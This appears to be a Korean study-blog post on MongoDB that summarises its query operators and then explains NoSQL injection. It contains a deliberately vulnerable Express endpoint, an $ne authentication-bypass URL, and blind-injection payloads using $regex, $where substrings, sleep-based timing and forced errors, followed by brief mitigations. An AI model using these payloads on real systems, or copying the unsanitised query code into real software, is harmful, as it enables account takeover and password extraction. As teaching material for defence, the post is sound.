[2025-07-21] MongoDB

🦥 본문

MongoDB

NoSQL 데이터베이스 중 하나로 JSON 형식의 문서로 데이터를 저장하고 관리하는 문서 지향 데이터베이스.

특징

  1. 스키마가 존재하지 않아 가 테이블에 특별한 정의를 하지 않아도 된다.
  2. JSON 형식으로 쿼리문을 작성할 수 있다.
  3. _id 필드가 기본키 역할을 한다.
> db.user.insertOne({uid: 'admin', upw: 'secretpassword'})
{ acknowledged: true, insertedId: ObjectId("5e71d395b050a2511caa827d")}
> db.user.find({uid: 'admin'})
[{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }]

연산자

  • 비교 연산자

| Name | Description | | — | — | | $eq | 지정된 값과 같은 값을 찾습니다. (equal) | | $gt | 지정된 값보다 큰 값을 찾습니다. (greater than) | | $gte | 지정된 값보다 크거나 같은 값을 찾습니다. (greater than equal) | | $in | 배열 안의 값들과 일치하는 값을 찾습니다. (in) | | $lt | 지정된 값보다 작은 값을 찾습니다. (less than) | | $lte | 지정된 값보다 작거나 같은 값을 찾습니다. (less than equal) | | $ne | 지정된 값과 |

  • 논리연산자

| Name | Description | | — | — | | $and | 논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환됩니다. | | $not | 쿼리 식의 효과를 반전시킵니다. 쿼리 식과 일치하지 않는 문서를 반환합니다. | | $nor | 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환됩니다. | | $or | 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환됩니다. |

  • Element 연산자

| Name | Description | | — | — | | $exists | 지정된 필드가 있는 문서를 찾습니다. | | $type | 지정된 필드가 지정된 유형인 문서를 선택합니다. |

  • Evaluation 연산자
Name Description
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$jsonSchema 주어진 JSON 스키마에 대해 문서를 검증합니다.
$mod 필드 값에 대해 mod 연산을 수행하고 지정된 결과를 가진 문서를 선택합니다.
$regex 지정한 정규식과 일치하는 문서를 선택합니다.
$text 지정한 텍스트를 검색합니다.
$where 지정한 자바스크립트 식을 만족하는 문서와 일치합니다.

MongoDB Injection

사용자 입력값이 MongoDB 쿼리 내에 그대로 삽입되어, 인증 우회, 데이터 노출, 조작 등 악의적인 동작을 유발하는 공격 기법

  • 취약 코드

      const express = require('express');
      const app = express();
      const mongoose = require('mongoose');
      const db = mongoose.connection;
      mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
      app.get('/query', function(req,res) {
          db.collection('user').find({
              'uid': req.query.uid,
              'upw': req.query.upw
          }).toArray(function(err, result) {
              if (err) throw err;
              res.send(result);
        });
      });
      const server = app.listen(3000, function(){
          console.log('app.listen');
      });
    
    • 이용자가 입력한 uid와 upw에 해당하는 값을 데이터베이스에서 조회하는 예제 코드
    • 공격 코드를 통해 관리자 계정을 조회할 수 있다.
      http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
      => [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
    

MongoDB Blind Injection

실행 결과가 애플리케이션에 출력되지 않을 때 응답 내용 만으로 정보를 추측하는 공격 방법.

  • $regex

      > db.user.find({upw: {$regex: "^a"}})
      > db.user.find({upw: {$regex: "^b"}})
      > db.user.find({upw: {$regex: "^c"}})
      ...
      > db.user.find({upw: {$regex: "^g"}})
      { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
    
  • $where : 필드 안에서는 사용 불가

      > db.user.find({$where:"return 1==1"})
      { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
      > db.user.find({uid:{$where:"return 1==1"}})
      error: {
      	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
      	"code" : 17287
      }
        
      //substring 사용하여 Blind SQli
      > db.user.find({$where: "this.upw.substring(0,1)=='a'"})
      > db.user.find({$where: "this.upw.substring(0,1)=='b'"})
      > db.user.find({$where: "this.upw.substring(0,1)=='c'"})
      ...
      > db.user.find({$where: "this.upw.substring(0,1)=='g'"})
      { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
        
      //Time Based Injection. 서버에서 아래와 같은 코드로 조회할 ,
      db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
      //sleep 함수를 사용하여 공격 가능 
      /?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
      /?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
      /?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
      ...
      /?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
      => 시간 지연 발생.
        
      //Error Based Injection. 아래와 같이 문법 에러를 발생하는 asdf 삽입하여 앞선 비교식이 참일 경우 에러 발생
      > db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
      error: {
      	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
      	"code" : 16722
      }
      // this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
      > db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
      // this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
        
    

대응 방법

  1. 쿼리 연산자 문자열 차단
  2. 타입 강제화 : 사용자의 입력을 문자열로 강제 변환
  3. ORM 사용
  4. WAF을 통한 필터링

Categories:

Updated:

Leave a comment